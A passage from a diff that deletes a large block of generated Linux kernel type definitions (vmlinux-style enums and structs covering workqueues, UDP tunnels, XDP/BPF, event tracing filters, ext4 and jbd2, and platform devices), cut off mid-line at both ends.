= 0, - NF_IP6_PRI_SECURITY = 50, - NF_IP6_PRI_NAT_SRC = 100, - NF_IP6_PRI_SELINUX_LAST = 225, - NF_IP6_PRI_CONNTRACK_HELPER = 300, - NF_IP6_PRI_LAST = 2147483647, -}; - -enum { - BTF_FIELDS_MAX = 10, -}; - -enum { - WQ_UNBOUND = 2, - WQ_FREEZABLE = 4, - WQ_MEM_RECLAIM = 8, - WQ_HIGHPRI = 16, - WQ_CPU_INTENSIVE = 32, - WQ_SYSFS = 64, - WQ_POWER_EFFICIENT = 128, - __WQ_DRAINING = 65536, - __WQ_ORDERED = 131072, - __WQ_LEGACY = 262144, - __WQ_ORDERED_EXPLICIT = 524288, - WQ_MAX_ACTIVE = 512, - WQ_MAX_UNBOUND_PER_CPU = 4, - WQ_DFL_ACTIVE = 256, -}; - -enum { - ETHTOOL_A_TUNNEL_UDP_ENTRY_UNSPEC = 0, - ETHTOOL_A_TUNNEL_UDP_ENTRY_PORT = 1, - ETHTOOL_A_TUNNEL_UDP_ENTRY_TYPE = 2, - __ETHTOOL_A_TUNNEL_UDP_ENTRY_CNT = 3, - ETHTOOL_A_TUNNEL_UDP_ENTRY_MAX = 2, -}; - -enum { - ETHTOOL_A_TUNNEL_UDP_TABLE_UNSPEC = 0, - ETHTOOL_A_TUNNEL_UDP_TABLE_SIZE = 1, - ETHTOOL_A_TUNNEL_UDP_TABLE_TYPES = 2, - ETHTOOL_A_TUNNEL_UDP_TABLE_ENTRY = 3, - __ETHTOOL_A_TUNNEL_UDP_TABLE_CNT = 4, - ETHTOOL_A_TUNNEL_UDP_TABLE_MAX = 3, -}; - -struct udp_tunnel_nic_table_entry; - -struct udp_tunnel_nic { - struct work_struct work; - struct net_device *dev; - u8 need_sync: 1; - u8 need_replay: 1; - u8 work_pending: 1; - unsigned int n_tables; - long unsigned int missed; - struct udp_tunnel_nic_table_entry **entries; -}; - -enum udp_parsable_tunnel_type { - UDP_TUNNEL_TYPE_VXLAN = 1, - UDP_TUNNEL_TYPE_GENEVE = 2, - UDP_TUNNEL_TYPE_VXLAN_GPE = 4, -}; - -enum udp_tunnel_nic_info_flags { - UDP_TUNNEL_NIC_INFO_MAY_SLEEP = 1, - UDP_TUNNEL_NIC_INFO_OPEN_ONLY = 2, - UDP_TUNNEL_NIC_INFO_IPV4_ONLY = 4, - UDP_TUNNEL_NIC_INFO_STATIC_IANA_VXLAN = 8, -}; - -struct udp_tunnel_nic_shared_node { - struct net_device *dev; - struct list_head list; -}; - -struct udp_tunnel_nic_ops { - void (*get_port)(struct net_device *, unsigned int, unsigned int, struct udp_tunnel_info *); - void (*set_port_priv)(struct net_device *, unsigned int, unsigned int, u8); - void (*add_port)(struct net_device *, struct udp_tunnel_info *); - void (*del_port)(struct net_device *, struct udp_tunnel_info *); - void (*reset_ntf)(struct net_device *); - size_t (*dump_size)(struct net_device *, unsigned int); - int (*dump_write)(struct net_device *, unsigned int, struct sk_buff *); -}; - -enum udp_tunnel_nic_table_entry_flags { - UDP_TUNNEL_NIC_ENTRY_ADD = 1, - UDP_TUNNEL_NIC_ENTRY_DEL = 2, - UDP_TUNNEL_NIC_ENTRY_OP_FAIL = 4, - UDP_TUNNEL_NIC_ENTRY_FROZEN = 8, -}; - -struct udp_tunnel_nic_table_entry { - __be16 port; - u8 type; - u8 flags; - u16 use_cnt; - u8 hw_priv; -}; - -struct guehdr { - union { - struct { - __u8 hlen: 5; - __u8 control: 1; - __u8 version: 2; - __u8 proto_ctype; - __be16 flags; - }; - __be32 word; - }; -}; - -enum tunnel_encap_types { - TUNNEL_ENCAP_NONE = 0, - TUNNEL_ENCAP_FOU = 1, - TUNNEL_ENCAP_GUE = 2, - TUNNEL_ENCAP_MPLS = 3, -}; - -enum { - BPF_F_BROADCAST = 8, - BPF_F_EXCLUDE_INGRESS = 16, -}; - -enum xdp_action { - XDP_ABORTED = 0, - XDP_DROP = 1, - XDP_PASS = 2, - XDP_TX = 3, - XDP_REDIRECT = 4, -}; - -struct bpf_nh_params { - u32 nh_family; - union { - u32 ipv4_nh; - struct in6_addr ipv6_nh; - }; -}; - -struct bpf_redirect_info { - u64 tgt_index; - void *tgt_value; - struct bpf_map *map; - u32 flags; - u32 kern_flags; - u32 map_id; - enum bpf_map_type map_type; - struct bpf_nh_params nh; -}; - -struct xdp_sock; - -struct xsk_map { - struct bpf_map map; - spinlock_t lock; - struct xdp_sock *xsk_map[0]; -}; - -struct xdp_sock { - struct sock sk; - struct xsk_queue *rx; - struct net_device *dev; - struct xdp_umem *umem; - struct list_head flush_node; - struct xsk_buff_pool *pool; - u16 queue_id; - bool zc; - enum { - XSK_READY = 0, - XSK_BOUND = 1, - XSK_UNBOUND = 2, - } state; - long: 64; - struct xsk_queue *tx; - struct list_head tx_list; - spinlock_t rx_lock; - u64 rx_dropped; - u64 rx_queue_full; - struct list_head map_list; - spinlock_t map_list_lock; - struct mutex mutex; - struct xsk_queue *fq_tmp; - struct xsk_queue *cq_tmp; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct xsk_map_node { - struct list_head node; - struct xsk_map *map; - struct xdp_sock **map_entry; -}; - -typedef int (*initcall_t)(); - -typedef int initcall_entry_t; - -struct fixed_percpu_data { - char gs_base[40]; - long unsigned int stack_canary; -}; - -struct smp_ops { - void (*smp_prepare_boot_cpu)(); - void (*smp_prepare_cpus)(unsigned int); - void (*smp_cpus_done)(unsigned int); - void (*stop_other_cpus)(int); - void (*crash_stop_other_cpus)(); - void (*smp_send_reschedule)(int); - int (*cpu_up)(unsigned int, struct task_struct *); - int (*cpu_disable)(); - void (*cpu_die)(unsigned int); - void (*play_dead)(); - void (*send_call_func_ipi)(const struct cpumask *); - void (*send_call_func_single_ipi)(int); -}; - -typedef struct pglist_data pg_data_t; - -struct task_delay_info { - raw_spinlock_t lock; - u64 blkio_start; - u64 blkio_delay; - u64 swapin_start; - u64 swapin_delay; - u32 blkio_count; - u32 swapin_count; - u64 freepages_start; - u64 freepages_delay; - u64 thrashing_start; - u64 thrashing_delay; - u64 compact_start; - u64 compact_delay; - u64 wpcopy_start; - u64 wpcopy_delay; - u32 freepages_count; - u32 thrashing_count; - u32 compact_count; - u32 wpcopy_count; -}; - -struct ring_buffer_event { - u32 type_len: 5; - u32 time_delta: 27; - u32 array[0]; -}; - -struct trace_event_buffer { - struct trace_buffer *buffer; - struct ring_buffer_event *event; - struct trace_event_file *trace_file; - void *entry; - unsigned int trace_ctx; - struct pt_regs *regs; -}; - -enum { - EVENT_FILE_FL_ENABLED = 1, - EVENT_FILE_FL_RECORDED_CMD = 2, - EVENT_FILE_FL_RECORDED_TGID = 4, - EVENT_FILE_FL_FILTERED = 8, - EVENT_FILE_FL_NO_SET_FILTER = 16, - EVENT_FILE_FL_SOFT_MODE = 32, - EVENT_FILE_FL_SOFT_DISABLED = 64, - EVENT_FILE_FL_TRIGGER_MODE = 128, - EVENT_FILE_FL_TRIGGER_COND = 256, - EVENT_FILE_FL_PID_FILTER = 512, - EVENT_FILE_FL_WAS_ENABLED = 1024, -}; - -enum { - FILTER_OTHER = 0, - FILTER_STATIC_STRING = 1, - FILTER_DYN_STRING = 2, - FILTER_RDYN_STRING = 3, - FILTER_PTR_STRING = 4, - FILTER_TRACE_FN = 5, - FILTER_COMM = 6, - FILTER_CPU = 7, -}; - -enum flow_dissector_key_id { - FLOW_DISSECTOR_KEY_CONTROL = 0, - FLOW_DISSECTOR_KEY_BASIC = 1, - FLOW_DISSECTOR_KEY_IPV4_ADDRS = 2, - FLOW_DISSECTOR_KEY_IPV6_ADDRS = 3, - FLOW_DISSECTOR_KEY_PORTS = 4, - FLOW_DISSECTOR_KEY_PORTS_RANGE = 5, - FLOW_DISSECTOR_KEY_ICMP = 6, - FLOW_DISSECTOR_KEY_ETH_ADDRS = 7, - FLOW_DISSECTOR_KEY_TIPC = 8, - FLOW_DISSECTOR_KEY_ARP = 9, - FLOW_DISSECTOR_KEY_VLAN = 10, - FLOW_DISSECTOR_KEY_FLOW_LABEL = 11, - FLOW_DISSECTOR_KEY_GRE_KEYID = 12, - FLOW_DISSECTOR_KEY_MPLS_ENTROPY = 13, - FLOW_DISSECTOR_KEY_ENC_KEYID = 14, - FLOW_DISSECTOR_KEY_ENC_IPV4_ADDRS = 15, - FLOW_DISSECTOR_KEY_ENC_IPV6_ADDRS = 16, - FLOW_DISSECTOR_KEY_ENC_CONTROL = 17, - FLOW_DISSECTOR_KEY_ENC_PORTS = 18, - FLOW_DISSECTOR_KEY_MPLS = 19, - FLOW_DISSECTOR_KEY_TCP = 20, - FLOW_DISSECTOR_KEY_IP = 21, - FLOW_DISSECTOR_KEY_CVLAN = 22, - FLOW_DISSECTOR_KEY_ENC_IP = 23, - FLOW_DISSECTOR_KEY_ENC_OPTS = 24, - FLOW_DISSECTOR_KEY_META = 25, - FLOW_DISSECTOR_KEY_CT = 26, - FLOW_DISSECTOR_KEY_HASH = 27, - FLOW_DISSECTOR_KEY_NUM_OF_VLANS = 28, - FLOW_DISSECTOR_KEY_PPPOE = 29, - FLOW_DISSECTOR_KEY_L2TPV3 = 30, - FLOW_DISSECTOR_KEY_MAX = 31, -}; - -struct trace_event_raw_initcall_level { - struct trace_entry ent; - u32 __data_loc_level; - char __data[0]; -}; - -struct trace_event_raw_initcall_start { - struct trace_entry ent; - initcall_t func; - char __data[0]; -}; - -struct trace_event_raw_initcall_finish { - struct trace_entry ent; - initcall_t func; - int ret; - char __data[0]; -}; - -struct trace_event_data_offsets_initcall_level { - u32 level; -}; - -struct trace_event_data_offsets_initcall_start {}; - -struct trace_event_data_offsets_initcall_finish {}; - -typedef void (*btf_trace_initcall_level)(void *, const char *); - -typedef void (*btf_trace_initcall_start)(void *, initcall_t); - -typedef void (*btf_trace_initcall_finish)(void *, initcall_t, int); - -struct blacklist_entry { - struct list_head next; - char *buf; -}; - -enum hrtimer_mode { - HRTIMER_MODE_ABS = 0, - HRTIMER_MODE_REL = 1, - HRTIMER_MODE_PINNED = 2, - HRTIMER_MODE_SOFT = 4, - HRTIMER_MODE_HARD = 8, - HRTIMER_MODE_ABS_PINNED = 2, - HRTIMER_MODE_REL_PINNED = 3, - HRTIMER_MODE_ABS_SOFT = 4, - HRTIMER_MODE_REL_SOFT = 5, - HRTIMER_MODE_ABS_PINNED_SOFT = 6, - HRTIMER_MODE_REL_PINNED_SOFT = 7, - HRTIMER_MODE_ABS_HARD = 8, - HRTIMER_MODE_REL_HARD = 9, - HRTIMER_MODE_ABS_PINNED_HARD = 10, - HRTIMER_MODE_REL_PINNED_HARD = 11, -}; - -enum clock_event_state { - CLOCK_EVT_STATE_DETACHED = 0, - CLOCK_EVT_STATE_SHUTDOWN = 1, - CLOCK_EVT_STATE_PERIODIC = 2, - CLOCK_EVT_STATE_ONESHOT = 3, - CLOCK_EVT_STATE_ONESHOT_STOPPED = 4, -}; - -struct clock_event_device { - void (*event_handler)(struct clock_event_device *); - int (*set_next_event)(long unsigned int, struct clock_event_device *); - int (*set_next_ktime)(ktime_t, struct clock_event_device *); - ktime_t next_event; - u64 max_delta_ns; - u64 min_delta_ns; - u32 mult; - u32 shift; - enum clock_event_state state_use_accessors; - unsigned int features; - long unsigned int retries; - int (*set_state_periodic)(struct clock_event_device *); - int (*set_state_oneshot)(struct clock_event_device *); - int (*set_state_oneshot_stopped)(struct clock_event_device *); - int (*set_state_shutdown)(struct clock_event_device *); - int (*tick_resume)(struct clock_event_device *); - void (*broadcast)(const struct cpumask *); - void (*suspend)(struct clock_event_device *); - void (*resume)(struct clock_event_device *); - long unsigned int min_delta_ticks; - long unsigned int max_delta_ticks; - const char *name; - int rating; - int irq; - int bound_on; - const struct cpumask *cpumask; - struct list_head list; - struct module *owner; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct dma_chan { - int lock; - const char *device_id; -}; - -enum { - CFTYPE_ONLY_ON_ROOT = 1, - CFTYPE_NOT_ON_ROOT = 2, - CFTYPE_NS_DELEGATABLE = 4, - CFTYPE_NO_PREFIX = 8, - CFTYPE_WORLD_WRITABLE = 16, - CFTYPE_DEBUG = 32, - __CFTYPE_ONLY_ON_DFL = 65536, - __CFTYPE_NOT_ON_DFL = 131072, - __CFTYPE_ADDED = 262144, -}; - -struct css_task_iter { - struct cgroup_subsys *ss; - unsigned int flags; - struct list_head *cset_pos; - struct list_head *cset_head; - struct list_head *tcset_pos; - struct list_head *tcset_head; - struct list_head *task_pos; - struct list_head *cur_tasks_head; - struct css_set *cur_cset; - struct css_set *cur_dcset; - struct task_struct *cur_task; - struct list_head iters_node; -}; - -enum freezer_state_flags { - CGROUP_FREEZER_ONLINE = 1, - CGROUP_FREEZING_SELF = 2, - CGROUP_FREEZING_PARENT = 4, - CGROUP_FROZEN = 8, - CGROUP_FREEZING = 6, -}; - -struct freezer { - struct cgroup_subsys_state css; - unsigned int state; -}; - -enum lockdep_ok { - LOCKDEP_STILL_OK = 0, - LOCKDEP_NOW_UNRELIABLE = 1, -}; - -enum hk_type { - HK_TYPE_TIMER = 0, - HK_TYPE_RCU = 1, - HK_TYPE_MISC = 2, - HK_TYPE_SCHED = 3, - HK_TYPE_TICK = 4, - HK_TYPE_DOMAIN = 5, - HK_TYPE_WQ = 6, - HK_TYPE_MANAGED_IRQ = 7, - HK_TYPE_KTHREAD = 8, - HK_TYPE_MAX = 9, -}; - -typedef int (*cpu_stop_fn_t)(void *); - -struct cpu_stop_done; - -struct cpu_stop_work { - struct list_head list; - cpu_stop_fn_t fn; - long unsigned int caller; - void *arg; - struct cpu_stop_done *done; -}; - -struct ftrace_event_field { - struct list_head link; - const char *name; - const char *type; - int filter_type; - int offset; - int size; - int is_signed; -}; - -struct filter_pred; - -struct prog_entry { - int target; - int when_to_branch; - struct filter_pred *pred; -}; - -struct regex; - -typedef int (*regex_match_func)(char *, struct regex *, int); - -struct regex { - char pattern[256]; - int len; - int field_len; - regex_match_func match; -}; - -enum regex_type { - MATCH_FULL = 0, - MATCH_FRONT_ONLY = 1, - MATCH_MIDDLE_ONLY = 2, - MATCH_END_ONLY = 3, - MATCH_GLOB = 4, - MATCH_INDEX = 5, -}; - -enum filter_op_ids { - OP_GLOB = 0, - OP_NE = 1, - OP_EQ = 2, - OP_LE = 3, - OP_LT = 4, - OP_GE = 5, - OP_GT = 6, - OP_BAND = 7, - OP_MAX = 8, -}; - -enum filter_pred_fn { - FILTER_PRED_FN_NOP = 0, - FILTER_PRED_FN_64 = 1, - FILTER_PRED_FN_S64 = 2, - FILTER_PRED_FN_U64 = 3, - FILTER_PRED_FN_32 = 4, - FILTER_PRED_FN_S32 = 5, - FILTER_PRED_FN_U32 = 6, - FILTER_PRED_FN_16 = 7, - FILTER_PRED_FN_S16 = 8, - FILTER_PRED_FN_U16 = 9, - FILTER_PRED_FN_8 = 10, - FILTER_PRED_FN_S8 = 11, - FILTER_PRED_FN_U8 = 12, - FILTER_PRED_FN_COMM = 13, - FILTER_PRED_FN_STRING = 14, - FILTER_PRED_FN_STRLOC = 15, - FILTER_PRED_FN_STRRELLOC = 16, - FILTER_PRED_FN_PCHAR_USER = 17, - FILTER_PRED_FN_PCHAR = 18, - FILTER_PRED_FN_CPU = 19, - FILTER_PRED_FN_ = 20, - FILTER_PRED_TEST_VISITED = 21, -}; - -struct filter_pred { - enum filter_pred_fn fn_num; - u64 val; - struct regex regex; - short unsigned int *ops; - struct ftrace_event_field *field; - int offset; - int not; - int op; -}; - -enum { - FILT_ERR_NONE = 0, - FILT_ERR_INVALID_OP = 1, - FILT_ERR_TOO_MANY_OPEN = 2, - FILT_ERR_TOO_MANY_CLOSE = 3, - FILT_ERR_MISSING_QUOTE = 4, - FILT_ERR_OPERAND_TOO_LONG = 5, - FILT_ERR_EXPECT_STRING = 6, - FILT_ERR_EXPECT_DIGIT = 7, - FILT_ERR_ILLEGAL_FIELD_OP = 8, - FILT_ERR_FIELD_NOT_FOUND = 9, - FILT_ERR_ILLEGAL_INTVAL = 10, - FILT_ERR_BAD_SUBSYS_FILTER = 11, - FILT_ERR_TOO_MANY_PREDS = 12, - FILT_ERR_INVALID_FILTER = 13, - FILT_ERR_IP_FIELD_ONLY = 14, - FILT_ERR_INVALID_VALUE = 15, - FILT_ERR_ERRNO = 16, - FILT_ERR_NO_FILTER = 17, -}; - -struct filter_parse_error { - int lasterr; - int lasterr_pos; -}; - -typedef int (*parse_pred_fn)(const char *, void *, int, struct filter_parse_error *, struct filter_pred **); - -enum { - INVERT = 1, - PROCESS_AND = 2, - PROCESS_OR = 4, -}; - -struct ustring_buffer { - char buffer[1024]; -}; - -enum { - TOO_MANY_CLOSE = -1, - TOO_MANY_OPEN = -2, - MISSING_QUOTE = -3, -}; - -struct filter_list { - struct list_head list; - struct event_filter *filter; -}; - -struct function_filter_data { - struct ftrace_ops *ops; - int first_filter; - int first_notrace; -}; - -struct bpf_preload_info { - char link_name[16]; - struct bpf_link *link; -}; - -struct bpf_preload_ops { - int (*preload)(struct bpf_preload_info *); - struct module *owner; -}; - -enum bpf_type { - BPF_TYPE_UNSPEC = 0, - BPF_TYPE_PROG = 1, - BPF_TYPE_MAP = 2, - BPF_TYPE_LINK = 3, -}; - -struct map_iter { - void *key; - bool done; -}; - -enum { - OPT_MODE = 0, -}; - -struct bpf_mount_opts { - umode_t mode; -}; - -typedef unsigned int zap_flags_t; - -struct compact_control; - -struct capture_control { - struct compact_control *cc; - struct page *page; -}; - -typedef void (*xa_update_node_t)(struct xa_node *); - -struct xa_state { - struct xarray *xa; - long unsigned int xa_index; - unsigned char xa_shift; - unsigned char xa_sibs; - unsigned char xa_offset; - unsigned char xa_pad; - struct xa_node *xa_node; - struct xa_node *xa_alloc; - xa_update_node_t xa_update; - struct list_lru *xa_lru; -}; - -struct zap_details { - struct folio *single_folio; - bool even_cows; - zap_flags_t zap_flags; -}; - -enum mf_flags { - MF_COUNT_INCREASED = 1, - MF_ACTION_REQUIRED = 2, - MF_MUST_KILL = 4, - MF_SOFT_OFFLINE = 8, - MF_UNPOISON = 16, - MF_SW_SIMULATED = 32, - MF_NO_RETRY = 64, -}; - -struct mmu_gather_batch { - struct mmu_gather_batch *next; - unsigned int nr; - unsigned int max; - struct page *pages[0]; -}; - -struct mmu_gather { - struct mm_struct *mm; - long unsigned int start; - long unsigned int end; - unsigned int fullmm: 1; - unsigned int need_flush_all: 1; - unsigned int freed_tables: 1; - unsigned int cleared_ptes: 1; - unsigned int cleared_pmds: 1; - unsigned int cleared_puds: 1; - unsigned int cleared_p4ds: 1; - unsigned int vma_exec: 1; - unsigned int vma_huge: 1; - unsigned int vma_pfn: 1; - unsigned int batch_count; - struct mmu_gather_batch *active; - struct mmu_gather_batch local; - struct page *__pages[8]; -}; - -struct compact_control { - struct list_head freepages; - struct list_head migratepages; - unsigned int nr_freepages; - unsigned int nr_migratepages; - long unsigned int free_pfn; - long unsigned int migrate_pfn; - long unsigned int fast_start_pfn; - struct zone *zone; - long unsigned int total_migrate_scanned; - long unsigned int total_free_scanned; - short unsigned int fast_search_fail; - short int search_order; - const gfp_t gfp_mask; - int order; - int migratetype; - const unsigned int alloc_flags; - const int highest_zoneidx; - enum migrate_mode mode; - bool ignore_skip_hint; - bool no_set_skip_hint; - bool ignore_block_suitable; - bool direct_compaction; - bool proactive_compaction; - bool whole_zone; - bool contended; - bool rescan; - bool alloc_contig; -}; - -struct madvise_walk_private { - struct mmu_gather *tlb; - bool pageout; -}; - -enum siginfo_layout { - SIL_KILL = 0, - SIL_TIMER = 1, - SIL_POLL = 2, - SIL_FAULT = 3, - SIL_FAULT_TRAPNO = 4, - SIL_FAULT_MCEERR = 5, - SIL_FAULT_BNDERR = 6, - SIL_FAULT_PKUERR = 7, - SIL_FAULT_PERF_EVENT = 8, - SIL_CHLD = 9, - SIL_RT = 10, - SIL_SYS = 11, -}; - -struct signalfd_siginfo { - __u32 ssi_signo; - __s32 ssi_errno; - __s32 ssi_code; - __u32 ssi_pid; - __u32 ssi_uid; - __s32 ssi_fd; - __u32 ssi_tid; - __u32 ssi_band; - __u32 ssi_overrun; - __u32 ssi_trapno; - __s32 ssi_status; - __s32 ssi_int; - __u64 ssi_ptr; - __u64 ssi_utime; - __u64 ssi_stime; - __u64 ssi_addr; - __u16 ssi_addr_lsb; - __u16 __pad2; - __s32 ssi_syscall; - __u64 ssi_call_addr; - __u32 ssi_arch; - __u8 __pad[28]; -}; - -struct signalfd_ctx { - sigset_t sigmask; -}; - -enum bh_state_bits { - BH_Uptodate = 0, - BH_Dirty = 1, - BH_Lock = 2, - BH_Req = 3, - BH_Mapped = 4, - BH_New = 5, - BH_Async_Read = 6, - BH_Async_Write = 7, - BH_Delay = 8, - BH_Boundary = 9, - BH_Write_EIO = 10, - BH_Unwritten = 11, - BH_Quiet = 12, - BH_Meta = 13, - BH_Prio = 14, - BH_Defer_Completion = 15, - BH_PrivateStart = 16, -}; - -struct jbd2_journal_handle; - -typedef struct jbd2_journal_handle handle_t; - -struct jbd2_journal_handle { - union { - transaction_t *h_transaction; - journal_t *h_journal; - }; - handle_t *h_rsv_handle; - int h_total_credits; - int h_revoke_credits; - int h_revoke_credits_requested; - int h_ref; - int h_err; - unsigned int h_sync: 1; - unsigned int h_jdata: 1; - unsigned int h_reserved: 1; - unsigned int h_aborted: 1; - unsigned int h_type: 8; - unsigned int h_line_no: 16; - long unsigned int h_start_jiffies; - unsigned int h_requested_credits; - unsigned int saved_alloc_context; -}; - -enum jbd_state_bits { - BH_JBD = 16, - BH_JWrite = 17, - BH_Freed = 18, - BH_Revoked = 19, - BH_RevokeValid = 20, - BH_JBDDirty = 21, - BH_JournalHead = 22, - BH_Shadow = 23, - BH_Verified = 24, - BH_JBDPrivateStart = 25, -}; - -enum SHIFT_DIRECTION { - SHIFT_LEFT = 0, - SHIFT_RIGHT = 1, -}; - -struct ext4_allocation_request { - struct inode *inode; - unsigned int len; - ext4_lblk_t logical; - ext4_lblk_t lleft; - ext4_lblk_t lright; - ext4_fsblk_t goal; - ext4_fsblk_t pleft; - ext4_fsblk_t pright; - unsigned int flags; -}; - -struct ext4_map_blocks { - ext4_fsblk_t m_pblk; - ext4_lblk_t m_lblk; - unsigned int m_len; - unsigned int m_flags; -}; - -struct ext4_io_end_vec { - struct list_head list; - loff_t offset; - ssize_t size; -}; - -struct ext4_io_end { - struct list_head list; - handle_t *handle; - struct inode *inode; - struct bio *bio; - unsigned int flag; - refcount_t count; - struct list_head list_vec; -}; - -typedef struct ext4_io_end ext4_io_end_t; - -enum { - EXT4_INODE_SECRM = 0, - EXT4_INODE_UNRM = 1, - EXT4_INODE_COMPR = 2, - EXT4_INODE_SYNC = 3, - EXT4_INODE_IMMUTABLE = 4, - EXT4_INODE_APPEND = 5, - EXT4_INODE_NODUMP = 6, - EXT4_INODE_NOATIME = 7, - EXT4_INODE_DIRTY = 8, - EXT4_INODE_COMPRBLK = 9, - EXT4_INODE_NOCOMPR = 10, - EXT4_INODE_ENCRYPT = 11, - EXT4_INODE_INDEX = 12, - EXT4_INODE_IMAGIC = 13, - EXT4_INODE_JOURNAL_DATA = 14, - EXT4_INODE_NOTAIL = 15, - EXT4_INODE_DIRSYNC = 16, - EXT4_INODE_TOPDIR = 17, - EXT4_INODE_HUGE_FILE = 18, - EXT4_INODE_EXTENTS = 19, - EXT4_INODE_VERITY = 20, - EXT4_INODE_EA_INODE = 21, - EXT4_INODE_DAX = 25, - EXT4_INODE_INLINE_DATA = 28, - EXT4_INODE_PROJINHERIT = 29, - EXT4_INODE_CASEFOLD = 30, - EXT4_INODE_RESERVED = 31, -}; - -enum { - ES_WRITTEN_B = 0, - ES_UNWRITTEN_B = 1, - ES_DELAYED_B = 2, - ES_HOLE_B = 3, - ES_REFERENCED_B = 4, - ES_FLAGS = 5, -}; - -struct extent_status { - struct rb_node rb_node; - ext4_lblk_t es_lblk; - ext4_lblk_t es_len; - ext4_fsblk_t es_pblk; -}; - -struct ext4_es_tree { - struct rb_root root; - struct extent_status *cache_es; -}; - -struct ext4_pending_tree { - struct rb_root root; -}; - -enum { - EXT4_FC_REASON_XATTR = 0, - EXT4_FC_REASON_CROSS_RENAME = 1, - EXT4_FC_REASON_JOURNAL_FLAG_CHANGE = 2, - EXT4_FC_REASON_NOMEM = 3, - EXT4_FC_REASON_SWAP_BOOT = 4, - EXT4_FC_REASON_RESIZE = 5, - EXT4_FC_REASON_RENAME_DIR = 6, - EXT4_FC_REASON_FALLOC_RANGE = 7, - EXT4_FC_REASON_INODE_JOURNAL_DATA = 8, - EXT4_FC_REASON_MAX = 9, -}; - -struct ext4_inode_info { - __le32 i_data[15]; - __u32 i_dtime; - ext4_fsblk_t i_file_acl; - ext4_group_t i_block_group; - ext4_lblk_t i_dir_start_lookup; - long unsigned int i_flags; - struct rw_semaphore xattr_sem; - union { - struct list_head i_orphan; - unsigned int i_orphan_idx; - }; - struct list_head i_fc_dilist; - struct list_head i_fc_list; - ext4_lblk_t i_fc_lblk_start; - ext4_lblk_t i_fc_lblk_len; - atomic_t i_fc_updates; - wait_queue_head_t i_fc_wait; - struct mutex i_fc_lock; - loff_t i_disksize; - struct rw_semaphore i_data_sem; - struct inode vfs_inode; - struct jbd2_inode *jinode; - spinlock_t i_raw_lock; - struct timespec64 i_crtime; - atomic_t i_prealloc_active; - struct list_head i_prealloc_list; - spinlock_t i_prealloc_lock; - struct ext4_es_tree i_es_tree; - rwlock_t i_es_lock; - struct list_head i_es_list; - unsigned int i_es_all_nr; - unsigned int i_es_shk_nr; - ext4_lblk_t i_es_shrink_lblk; - ext4_group_t i_last_alloc_group; - unsigned int i_reserved_data_blocks; - struct ext4_pending_tree i_pending_tree; - __u16 i_extra_isize; - u16 i_inline_off; - u16 i_inline_size; - spinlock_t i_completed_io_lock; - struct list_head i_rsv_conversion_list; - struct work_struct i_rsv_conversion_work; - atomic_t i_unwritten; - spinlock_t i_block_reservation_lock; - tid_t i_sync_tid; - tid_t i_datasync_tid; - __u32 i_csum_seed; - kprojid_t i_projid; -}; - -enum ext4_journal_trigger_type { - EXT4_JTR_ORPHAN_FILE = 0, - EXT4_JTR_NONE = 1, -}; - -enum { - EXT4_STATE_JDATA = 0, - EXT4_STATE_NEW = 1, - EXT4_STATE_XATTR = 2, - EXT4_STATE_NO_EXPAND = 3, - EXT4_STATE_DA_ALLOC_CLOSE = 4, - EXT4_STATE_EXT_MIGRATE = 5, - EXT4_STATE_NEWENTRY = 6, - EXT4_STATE_MAY_INLINE_DATA = 7, - EXT4_STATE_EXT_PRECACHED = 8, - EXT4_STATE_LUSTRE_EA_INODE = 9, - EXT4_STATE_VERITY_IN_PROGRESS = 10, - EXT4_STATE_FC_COMMITTING = 11, - EXT4_STATE_ORPHAN_FILE = 12, -}; - -struct ext4_iloc { - struct buffer_head *bh; - long unsigned int offset; - ext4_group_t block_group; -}; - -struct ext4_extent_tail { - __le32 et_checksum; -}; - -struct ext4_extent { - __le32 ee_block; - __le16 ee_len; - __le16 ee_start_hi; - __le32 ee_start_lo; -}; - -struct ext4_extent_idx { - __le32 ei_block; - __le32 ei_leaf_lo; - __le16 ei_leaf_hi; - __u16 ei_unused; -}; - -struct ext4_extent_header { - __le16 eh_magic; - __le16 eh_entries; - __le16 eh_max; - __le16 eh_depth; - __le32 eh_generation; -}; - -struct ext4_ext_path { - ext4_fsblk_t p_block; - __u16 p_depth; - __u16 p_maxdepth; - struct ext4_extent *p_ext; - struct ext4_extent_idx *p_idx; - struct ext4_extent_header *p_hdr; - struct buffer_head *p_bh; -}; - -struct partial_cluster { - ext4_fsblk_t pclu; - ext4_lblk_t lblk; - enum { - initial = 0, - tofree = 1, - nofree = 2, - } state; -}; - -enum gcry_mpi_constants { - MPI_C_ZERO = 0, - MPI_C_ONE = 1, - MPI_C_TWO = 2, - MPI_C_THREE = 3, - MPI_C_FOUR = 4, - MPI_C_EIGHT = 5, -}; - -struct msr { - union { - struct { - u32 l; - u32 h; - }; - u64 q; - }; -}; - -struct trace_event_raw_msr_trace_class { - struct trace_entry ent; - unsigned int msr; - u64 val; - int failed; - char __data[0]; -}; - -struct trace_event_data_offsets_msr_trace_class {}; - -typedef void (*btf_trace_read_msr)(void *, unsigned int, u64, int); - -typedef void (*btf_trace_write_msr)(void *, unsigned int, u64, int); - -typedef void (*btf_trace_rdpmc)(void *, unsigned int, u64, int); - -enum idle_boot_override { - IDLE_NO_OVERRIDE = 0, - IDLE_HALT = 1, - IDLE_NOMWAIT = 2, - IDLE_POLL = 3, -}; - -struct acpi_osc_context { - char *uuid_str; - int rev; - struct acpi_buffer cap; - struct acpi_buffer ret; -}; - -struct acpi_power_register { - u8 descriptor; - u16 length; - u8 space_id; - u8 bit_width; - u8 bit_offset; - u8 access_size; - u64 address; -} __attribute__((packed)); - -struct acpi_processor_errata { - u8 smp; - struct { - u8 throttle: 1; - u8 fdma: 1; - u8 reserved: 6; - u32 bmisx; - } piix4; -}; - -struct platform_device_id { - char name[20]; - kernel_ulong_t driver_data; -}; - -enum { - KERNEL_PARAM_FL_UNSAFE = 1, - KERNEL_PARAM_FL_HWPARAM = 2, -}; - -enum hwparam_type { - hwparam_ioport = 0, - hwparam_iomem = 1, - hwparam_ioport_or_iomem = 2, - hwparam_irq = 3, - hwparam_dma = 4, - hwparam_dma_addr = 5, - hwparam_other = 6, -}; - -struct pdev_archdata {}; - -struct mfd_cell; - -struct platform_device { - const char *name; - int id; - bool id_auto; - struct device dev; - u64 platform_dma_mask; - struct device_dma_parameters dma_parms; - u32 num_resources; - struct resource *resource; - const struct platform_device_id *id_entry; - const char *driver_override; - struct mfd_cell *mfd_cell; - struct pdev_archdata archdata; -}; - -struct platform_driver { - int (*probe)(struct platform_device *); - int (*remove)(struct 